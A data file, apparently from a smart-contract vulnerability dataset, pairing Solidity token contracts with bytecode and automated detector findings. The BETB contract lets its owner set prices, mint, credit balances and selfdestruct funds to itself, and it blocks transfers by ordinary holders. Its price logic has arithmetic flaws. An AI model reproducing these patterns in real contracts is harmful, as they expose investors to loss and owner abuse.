}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 5000e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x60806040526004361061018a5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610194578063095ea7b31461021e5780631003e2d21461025657806318160ddd1461026e57806323b872dd1461029557806329dcb0cf146102bf5780632e1a7d4d146102d4578063313ce567146102ec57806342966c6814610301578063532b581c1461031957806370a082311461032e57806374ff23241461034f5780637809231c14610364578063836e81801461038857806383afd6da1461039d578063853828b6146103b257806395d89b41146103c75780639b1cbccc146103dc5780639ea407be146103f1578063a9059cbb14610409578063aa6ca8081461018a578063b449c24d1461042d578063c108d5421461044e578063c489744b14610463578063cbdd69b51461048a578063dd62ed3e1461049f578063e58fc54c146104c6578063e6a092f5146104e7578063efca2eed146104fc578063f2fde38b14610511578063f3ccb40114610532575b610192610556565b005b3480156101a057600080fd5b506101a9610863565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e35781810151838201526020016101cb565b50505050905090810190601f1680156102105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022a57600080fd5b50610242600160a060020a036004351660243561089a565b604080519115158252519081900360200190f35b34801561026257600080fd5b50610192600435610942565b34801561027a57600080fd5b506102836109af565b60408051918252519081900360200190f35b3480156102a157600080fd5b50610242600160a060020a03600435811690602435166044356109b5565b3480156102cb57600080fd5b50610283610b28565b3480156102e057600080fd5b50610192600435610b2e565b3480156102f857600080fd5b50610283610b88565b34801561030d57600080fd5b50610192600435610b8d565b34801561032557600080fd5b50610283610c6c565b34801561033a57600080fd5b50610283600160a060020a0360043516610c72565b34801561035b57600080fd5b50610283610c8d565b34801561037057600080fd5b50610192600160a060020a0360043516602435610c98565b34801561039457600080fd5b50610283610cbd565b3480156103a957600080fd5b50610283610cc3565b3480156103be57600080fd5b50610192610cc9565b3480156103d357600080fd5b506101a9610d26565b3480156103e857600080fd5b50610242610d5d565b3480156103fd57600080fd5b50610192600435610de1565b34801561041557600080fd5b50610242600160a060020a0360043516602435610e33565b34801561043957600080fd5b50610242600160a060020a0360043516610f12565b34801561045a57600080fd5b50610242610f27565b34801561046f57600080fd5b50610283600160a060020a0360043581169060243516610f37565b34801561049657600080fd5b50610283610fe8565b3480156104ab57600080fd5b50610283600160a060020a0360043581169060243516610fee565b3480156104d257600080fd5b50610242600160a060020a0360043516611019565b3480156104f357600080fd5b5061028361116d565b34801561050857600080fd5b50610283611173565b34801561051d57600080fd5b50610192600160a060020a0360043516611179565b34801561053e57600080fd5b506101926024600480358281019291013590356111cb565b600080600080600080600080600d60149054906101000a900460ff1615151561057e57600080fd5b600a546000985088975087965067016345785d8a00009550670de0b6b3a76400009450674563918244f40000935084906105be903463ffffffff61122416565b8115156105c757fe5b049750339150662386f26fc1000034101580156105e5575060055442105b80156105f2575060075442105b80156105ff575060065442105b1561065d5784341015801561061357508334105b15610627576064600589025b049550610658565b83341015801561063657508234105b15610646576064600a890261061f565b348311610658576064600f89025b0495505b6106ca565b662386f26fc100003410158015610675575060055442105b8015610682575060075442115b801561068f575060065442105b156106c5578334101580156106a357508234105b156106b35760646005890261061f565b348311610658576064600a8902610654565b600095505b87860196508715156107685750600160a060020a03811660009081526004602052604090205464746a5288009060ff1615801561070b5750600b54600c5411155b1561074f5761071a828261124d565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c80549091019055610763565b662386f26fc1000034101561076357600080fd5b6107ef565b60008811801561077f5750662386f26fc100003410155b156107db57600554421015801561079857506007544210155b80156107a5575060065442105b156107ba576107b4828961124d565b50610763565b3485116107cb576107b4828861124d565b6107d5828961124d565b506107ef565b662386f26fc100003410156107ef57600080fd5b6008546009541061081f57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600d54604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610858573d6000803e3d6000fd5b505050505050505050565b60408051808201909152600781527f426f6f6b696e6700000000000000000000000000000000000000000000000000602082015281565b600081158015906108cd5750336000908152600360209081526040808320600160a060020a038716845290915290205415155b156108da5750600061093c565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461095c57600080fd5b60085461096f908363ffffffff61133016565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b6000606060643610156109c457fe5b600160a060020a03841615156109d957600080fd5b600160a060020a0385166000908152600260205260409020548311156109fe57600080fd5b600160a060020a0385166000908152600360209081526040808320338452909152902054831115610a2e57600080fd5b600160a060020a038516600090815260026020526040902054610a57908463ffffffff61133d16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a94908463ffffffff61133d16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610ad8908463ffffffff61133016565b600160a060020a03808616600081815260026020908152604091829020949094558051878152905191939289169260008051602061149183398151915292918290030190a3506001949350505050565b60055481565b600154600090600160a060020a03163314610b4857600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b505050565b600881565b600154600090600160a060020a03163314610ba757600080fd5b33600090815260026020526040902054821115610bc357600080fd5b5033600081815260026020526040902054610be4908363ffffffff61133d16565b600160a060020a038216600090815260026020526040902055600854610c10908363ffffffff61133d16565b600855600954610c26908363ffffffff61133d16565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b60065481565b600160a060020a031660009081526002602052604090205490565b662386f26fc1000081565b600154600160a060020a03163314610caf57600080fd5b610cb9828261134f565b5050565b60075481565b600c5481565b6001546000908190600160a060020a03163314610ce557600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b83573d6000803e3d6000fd5b60408051808201909152600381527f424b470000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d7757600080fd5b600d5460a060020a900460ff1615610d8e57600080fd5b600d805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610df857600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610e4257fe5b600160a060020a0384161515610e5757600080fd5b33600090815260026020526040902054831115610e7357600080fd5b33600090815260026020526040902054610e93908463ffffffff61133d16565b3360009081526002602052604080822092909255600160a060020a03861681522054610ec5908463ffffffff61133016565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233926000805160206114918339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460a060020a900460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610fb357600080fd5b505af1158015610fc7573d6000803e3d6000fd5b505050506040513d6020811015610fdd57600080fd5b505195945050505050565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a0316331461103757600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561109b57600080fd5b505af11580156110af573d6000803e3d6000fd5b505050506040513d60208110156110c557600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561113957600080fd5b505af115801561114d573d6000803e3d6000fd5b505050506040513d602081101561116357600080fd5b5051949350505050565b600b5481565b60095481565b600154600160a060020a0316331461119057600080fd5b600160a060020a038116156111c8576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a031633146111e557600080fd5b5060005b8281101561121e5761121684848381811061120057fe5b90506020020135600160a060020a03168361134f565b6001016111e9565b50505050565b60008215156112355750600061093c565b5081810281838281151561124557fe5b041461093c57fe5b600d5460009060a060020a900460ff161561126757600080fd5b60095461127a908363ffffffff61133016565b600955600160a060020a0383166000908152600260205260409020546112a6908363ffffffff61133016565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000916000805160206114918339815191529181900360200190a350600192915050565b8181018281101561093c57fe5b60008282111561134957fe5b50900390565b600154600160a060020a0316331461136657600080fd5b6000811161137357600080fd5b6008546009541061138357600080fd5b600160a060020a0382166000908152600260205260409020546113ac908263ffffffff61133016565b600160a060020a0383166000908152600260205260409020556009546113d8908263ffffffff61133016565b60098190556008541161140a57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a038416916000916000805160206114918339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820e1a5abd16fffa1dd7dccfd50fe77e08bbb511770a18c4441ce67d4aff0127bd00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,553 |
0xab5f6372e47489c589a74c8454d8e6c49f7b44cd
|
// SPDX-License-Identifier: Open-source
pragma solidity ^0.6.0;
contract BETB {
using SafeMath for uint256;
event Approved(
address indexed spender,
address indexed recipient,
uint256 tokens
);
event Buy(
address indexed buyer,
uint256 tokensTransfered,
uint256 tokenToTransfer,
uint256 referralBal
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event sold(
address indexed seller,
uint256 calculatedEtherTransfer,
uint256 tokens
);
event stakes(
address indexed staker,
uint256 amount,
uint256 timing
);
event onWithdrawal(
address indexed holde,
uint256 amount
);
event win(
address indexed winner,
uint256 total_amount
);
string public token_name;
string public token_symbol;
uint8 public decimal;
uint256 public token_price = 150000000000000;
uint256 public basePrice1 = 150000000000000;
uint256 public basePrice2 = 230000000000000;
uint256 public basePrice3 = 330000000000000;
uint256 public basePrice4 = 460000000000000;
uint256 public basePrice5 = 820000000000000;
uint256 public basePrice6 = 1600000000000000;
uint256 public basePrice7 = 4900000000000000;
uint256 public basePrice8 = 8200000000000000;
uint256 public basePrice9 = 30000000000000000;
uint256 public basePrice10 = 91000000000000000;
uint256 public basePrice11= 330000000000000000;
uint256 public basePrice12 = 820000000000000000;
uint256 public basePrice13 = 1810000000000000000;
uint256 public basePrice14 = 3300000000000000000;
uint256 public basePrice15 = 6600000000000000000;
uint256 public basePrice17 = 16490000000000000001;
uint256 public initialPriceIncrement = 0;
uint256 public currentPrice;
uint256 public totalSupply_;
uint256 public tokenSold = 26000;
uint256 public overallReferToken = 0;
address payable owner;
address stakeHolder;
address development;
mapping(address => uint256) public tokenLedger;
mapping(address => uint256) public stakeLedger;
mapping(address => mapping(address => uint256)) public allowed;
mapping(address => address) public gen_tree;
mapping(address => uint256) public levelIncome;
mapping(address => uint256) public mode;
mapping(address => uint256) public rewardIncome;
mapping(address => uint256) public allTimeSell;
mapping(address => uint256) public allTimeBuy;
modifier onlyOwner {
require(msg.sender == owner, "Caller is not the Administrator");
_;
}
constructor(string memory _tokenName, string memory _tokenSymbol, uint256 initialSupply) public {
owner = msg.sender;
stakeHolder = owner;
token_name = _tokenName;
token_symbol = _tokenSymbol;
decimal = 0;
currentPrice = token_price + initialPriceIncrement;
totalSupply_ = initialSupply;
tokenLedger[owner] = tokenSold;
development = owner;
}
function contractAddress() public view returns(address) {
return address(this);
}
function get_level_income() public view returns(uint256) {
return levelIncome[msg.sender];
}
function updateCurrentPrice(uint256 _newPrice) external onlyOwner returns (bool) {
currentPrice = _newPrice;
return true;
}
function getTaxedEther(uint256 incomingEther) public pure returns(uint256) {
uint256 deduction = incomingEther * 12000 / 100000;
uint256 taxedEther = incomingEther - deduction;
return taxedEther;
}
function etherToToken(uint256 incomingEtherWei) public view returns(uint256) {
uint256 tokenToTransfer = incomingEtherWei.div(currentPrice);
return tokenToTransfer;
}
function tokenToEther(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function taxedTokenTransfer(uint256 incomingEther) internal view returns(uint256) {
uint256 deduction = incomingEther * 12000/100000;
uint256 taxedEther = incomingEther - deduction;
uint256 tokenToTransfer = taxedEther.div(currentPrice);
return tokenToTransfer;
}
function balanceOf(address _customerAddress) external
view
returns(uint256)
{
return tokenLedger[_customerAddress];
}
function getCurrentPrice() public view returns(uint) {
return currentPrice;
}
function name() public view returns(string memory) {
return token_name;
}
function symbol() public view returns(string memory) {
return token_symbol;
}
function decimals() public view returns(uint8){
return decimal;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function total_stake_funds() onlyOwner public view returns(uint256) {
return stakeLedger[stakeHolder];
}
function stake_balance(address _customerAddress) public view returns(uint256) {
return stakeLedger[_customerAddress];
}
function setName(string memory _name)
onlyOwner
public
{
token_name = _name;
}
function setSymbol(string memory _symbol)
onlyOwner
public
{
token_symbol = _symbol;
}
function getWinner() external view returns(address) {
return address(this);
}
function add_level_income( address user, uint256 numberOfTokens) public returns(bool) {
address referral;
for( uint i = 0 ; i < 1; i++ ){
referral = gen_tree[user];
if(referral == address(0)) {
break;
}
uint256 convertedEther = tokenLedger[referral] * currentPrice;
//Minimum 60 USD Holding
if( convertedEther >= 100000000000000000 ){
uint256 commission = numberOfTokens * 12 / 100;
levelIncome[referral] = levelIncome[referral].add(commission);
}
user = referral;
}
}
function buy_token(address _referredBy ) external payable returns (bool) {
require(_referredBy != msg.sender, "Self referred not allowed");
address buyer = msg.sender;
uint256 etherValue = msg.value;
// Minimum buy $15
require(etherValue >= 25000000000000000, "Minimum BET-B purchase limit is 0.025 ETH");
require(buyer != address(0), "Can't send to 0 address");
uint256 taxedTokenAmount = taxedTokenTransfer(etherValue);
uint256 tokenToTransfer = etherValue.div(currentPrice);
uint256 referralTokenBal = tokenLedger[_referredBy];
// Reward Income of 100 token on $118 buying
if( etherValue >= 200000000000000000 ){
rewardIncome[buyer] = rewardIncome[buyer].add(100);
}
if(mode[buyer] == 0) {
gen_tree[buyer] = _referredBy;
mode[buyer] = 1;
}
add_level_income(buyer, tokenToTransfer);
uint256 com = tokenToTransfer * 12 / 100;
overallReferToken = overallReferToken.add(com);
allTimeBuy[buyer] = allTimeBuy[buyer].add(taxedTokenAmount);
emit Transfer(address(this), buyer, taxedTokenAmount);
tokenLedger[buyer] = tokenLedger[buyer].add(taxedTokenAmount);
tokenSold = tokenSold.add(tokenToTransfer);
priceAlgoBuy(tokenToTransfer);
emit Buy(buyer,taxedTokenAmount, tokenToTransfer, referralTokenBal);
return true;
}
function sell( uint256 tokenToSell ) external returns(bool){
uint256 convertedWei = etherValueTransfer(tokenToSell);
require(tokenSold >= tokenToSell, "Token sold should be greater than zero");
require(msg.sender != address(0), "address zero");
require(tokenToSell <= tokenLedger[msg.sender], "insufficient balance");
// Minimum Sell 15 USD
require(convertedWei >= 25000000000000000, "Minimum BET-B Sell limit is 0.025 ETH");
tokenLedger[msg.sender] = tokenLedger[msg.sender].sub(tokenToSell);
allTimeSell[msg.sender] = allTimeSell[msg.sender].add(tokenToSell);
tokenSold = tokenSold.sub(tokenToSell);
msg.sender.transfer(convertedWei);
priceAlgoSell(tokenToSell);
emit Transfer(msg.sender, address(this), tokenToSell);
emit sold(msg.sender,convertedWei, tokenToSell);
return true;
}
function etherValueTransfer(uint256 tokenToSell) public view returns(uint256) {
uint256 convertedEther = tokenToSell * currentPrice;
return convertedEther;
}
function totalEthereumBalance() external onlyOwner view returns (uint256) {
return address(this).balance;
}
function mintToken(uint256 _mintedAmount) onlyOwner public {
totalSupply_ = totalSupply_.add(_mintedAmount);
}
function destruct() onlyOwner() public{
selfdestruct(owner);
}
function withdrawReward(uint256 numberOfTokens, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens);
}
function withdraw_bal(uint256 numberOfTokens, address _customerAddress)
public returns(bool)
{
require(numberOfTokens >= 5, "Minimum withdrawal amount is 5 BET-B");
require(_customerAddress != address(0), "address zero");
require(numberOfTokens <= levelIncome[_customerAddress], "insufficient bonus");
levelIncome[_customerAddress] = levelIncome[_customerAddress].sub(numberOfTokens);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(numberOfTokens);
emit onWithdrawal(_customerAddress, numberOfTokens);
return true;
}
function holdStake(uint256 _amount, uint256 _timing)
public
{
address _customerAddress = msg.sender;
require(_amount <= tokenLedger[_customerAddress], "insufficient balance");
require(_amount >= 20, "Minimum stake is 20 BET-B");
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amount);
stakeLedger[_customerAddress] = stakeLedger[_customerAddress].add(_amount);
stakeLedger[stakeHolder] = stakeLedger[stakeHolder].add(_amount);
emit stakes(_customerAddress, _amount, _timing);
}
function unstake(uint256 _amount, address _customerAddress)
onlyOwner
public
{
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].add(_amount);
stakeLedger[_customerAddress] = stakeLedger[_customerAddress].sub(_amount);
stakeLedger[stakeHolder] = stakeLedger[stakeHolder].sub(_amount);
}
function alot_tokens(uint256 _amountOfTokens, address _toAddress) onlyOwner public returns(bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenLedger[_customerAddress]);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens);
tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens);
return true;
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyOwner
public
returns(bool)
{
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenLedger[_customerAddress]);
tokenLedger[_customerAddress] = tokenLedger[_customerAddress].sub(_amountOfTokens);
tokenLedger[_toAddress] = tokenLedger[_toAddress].add(_amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
return true;
}
function transferFrom(address _from, address _to, uint256 tokens) public returns(bool success) {
require(tokens <= tokenLedger[_from]);
require(tokens > 0);
require(tokens <= allowed[_from][msg.sender]);
tokenLedger[_from] = tokenLedger[_from].sub(tokens);
tokenLedger[_to] = tokenLedger[_to].add(tokens);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(tokens);
emit Transfer(_from, _to, tokens);
return true;
}
function priceAlgoBuy( uint256 tokenQty) internal{
if( tokenSold > 0 && tokenSold <= 65000 ){
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if( tokenSold > 65000 && tokenSold <= 135000 ){
initialPriceIncrement = tokenQty*770000000;
currentPrice = basePrice2 + initialPriceIncrement;
basePrice2 = currentPrice;
}
if( tokenSold > 135000 && tokenSold <= 160000 ){
initialPriceIncrement = tokenQty*870000000;
currentPrice = basePrice3 + initialPriceIncrement;
basePrice3 = currentPrice;
}
if(tokenSold > 160000 && tokenSold <= 200000){
initialPriceIncrement = tokenQty*770000000;
currentPrice = basePrice4 + initialPriceIncrement;
basePrice4 = currentPrice;
}
if(tokenSold > 200000 && tokenSold <= 235000){
initialPriceIncrement = tokenQty*870000000;
currentPrice = basePrice5 + initialPriceIncrement;
basePrice5 = currentPrice;
}
if( tokenSold > 235000 && tokenSold <= 270000 ){
initialPriceIncrement = tokenQty*5725000000;
currentPrice = basePrice6 + initialPriceIncrement;
basePrice6 = currentPrice;
}
if( tokenSold > 270000 && tokenSold <= 300000 ){
initialPriceIncrement = tokenQty*9725000000;
currentPrice = basePrice7 + initialPriceIncrement;
basePrice7 = currentPrice;
}
if( tokenSold > 300000 && tokenSold <= 335000 ){
initialPriceIncrement = tokenQty*13900000000;
currentPrice = basePrice8 + initialPriceIncrement;
basePrice8 = currentPrice;
}
if(tokenSold > 335000 && tokenSold <= 370000){
initialPriceIncrement = tokenQty*34200000000;
currentPrice = basePrice9 + initialPriceIncrement;
basePrice9 = currentPrice;
}
if( tokenSold > 370000 && tokenSold <= 400000 ){
initialPriceIncrement = tokenQty*103325000000;
currentPrice = basePrice10 + initialPriceIncrement;
basePrice10 = currentPrice;
}
if( tokenSold > 400000 && tokenSold <= 435000 ){
initialPriceIncrement = tokenQty*394050000000;
currentPrice = basePrice11 + initialPriceIncrement;
basePrice11 = currentPrice;
}
if(tokenSold > 435000 && tokenSold <= 470000){
initialPriceIncrement = tokenQty*694050000000;
currentPrice = basePrice12 + initialPriceIncrement;
basePrice12 = currentPrice;
}
if(tokenSold > 470000 && tokenSold <= 500000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice13 + initialPriceIncrement;
basePrice13 = currentPrice;
}
if(tokenSold > 500000 && tokenSold <= 535000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice14 + initialPriceIncrement;
basePrice14 = currentPrice;
}
if(tokenSold > 535000 && tokenSold <= 570000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice15 + initialPriceIncrement;
basePrice15 = currentPrice;
}
if(tokenSold > 570000 ){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice17 + initialPriceIncrement;
basePrice17 = currentPrice;
}
}
function priceAlgoSell( uint256 tokenQty) internal{
if( tokenSold > 0 && tokenSold <= 65000 ){
currentPrice = basePrice1;
basePrice1 = currentPrice;
}
if( tokenSold > 65000 && tokenSold <= 135000 ){
initialPriceIncrement = tokenQty*770000000;
currentPrice = basePrice2 - initialPriceIncrement;
basePrice2 = currentPrice;
}
if( tokenSold > 135000 && tokenSold <= 160000 ){
initialPriceIncrement = tokenQty*870000000;
currentPrice = basePrice3 - initialPriceIncrement;
basePrice3 = currentPrice;
}
if(tokenSold > 160000 && tokenSold <= 200000){
initialPriceIncrement = tokenQty*770000000;
currentPrice = basePrice4 - initialPriceIncrement;
basePrice4 = currentPrice;
}
if(tokenSold > 200000 && tokenSold <= 235000){
initialPriceIncrement = tokenQty*870000000;
currentPrice = basePrice5 - initialPriceIncrement;
basePrice5 = currentPrice;
}
if( tokenSold > 235000 && tokenSold <= 270000 ){
initialPriceIncrement = tokenQty*5725000000;
currentPrice = basePrice6 - initialPriceIncrement;
basePrice6 = currentPrice;
}
if( tokenSold > 270000 && tokenSold <= 300000 ){
initialPriceIncrement = tokenQty*9725000000;
currentPrice = basePrice7 - initialPriceIncrement;
basePrice7 = currentPrice;
}
if( tokenSold > 300000 && tokenSold <= 335000 ){
initialPriceIncrement = tokenQty*13900000000;
currentPrice = basePrice8 - initialPriceIncrement;
basePrice8 = currentPrice;
}
if(tokenSold > 335000 && tokenSold <= 370000){
initialPriceIncrement = tokenQty*34200000000;
currentPrice = basePrice9 - initialPriceIncrement;
basePrice9 = currentPrice;
}
if( tokenSold > 370000 && tokenSold <= 400000 ){
initialPriceIncrement = tokenQty*103325000000;
currentPrice = basePrice10 - initialPriceIncrement;
basePrice10 = currentPrice;
}
if( tokenSold > 400000 && tokenSold <= 435000 ){
initialPriceIncrement = tokenQty*394050000000;
currentPrice = basePrice11 - initialPriceIncrement;
basePrice11 = currentPrice;
}
if(tokenSold > 435000 && tokenSold <= 470000){
initialPriceIncrement = tokenQty*694050000000;
currentPrice = basePrice12 - initialPriceIncrement;
basePrice12 = currentPrice;
}
if(tokenSold > 470000 && tokenSold <= 500000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice13 - initialPriceIncrement;
basePrice13 = currentPrice;
}
if(tokenSold > 500000 && tokenSold <= 535000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice14 - initialPriceIncrement;
basePrice14 = currentPrice;
}
if(tokenSold > 535000 && tokenSold <= 570000){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice15 - initialPriceIncrement;
basePrice15 = currentPrice;
}
if(tokenSold > 570000 ){
initialPriceIncrement = tokenQty*6500000000000;
currentPrice = basePrice17 - initialPriceIncrement;
basePrice17 = currentPrice;
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,554 |
0xbd15c4c8cd28a08e43846e3155c01a1f648d8d42
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
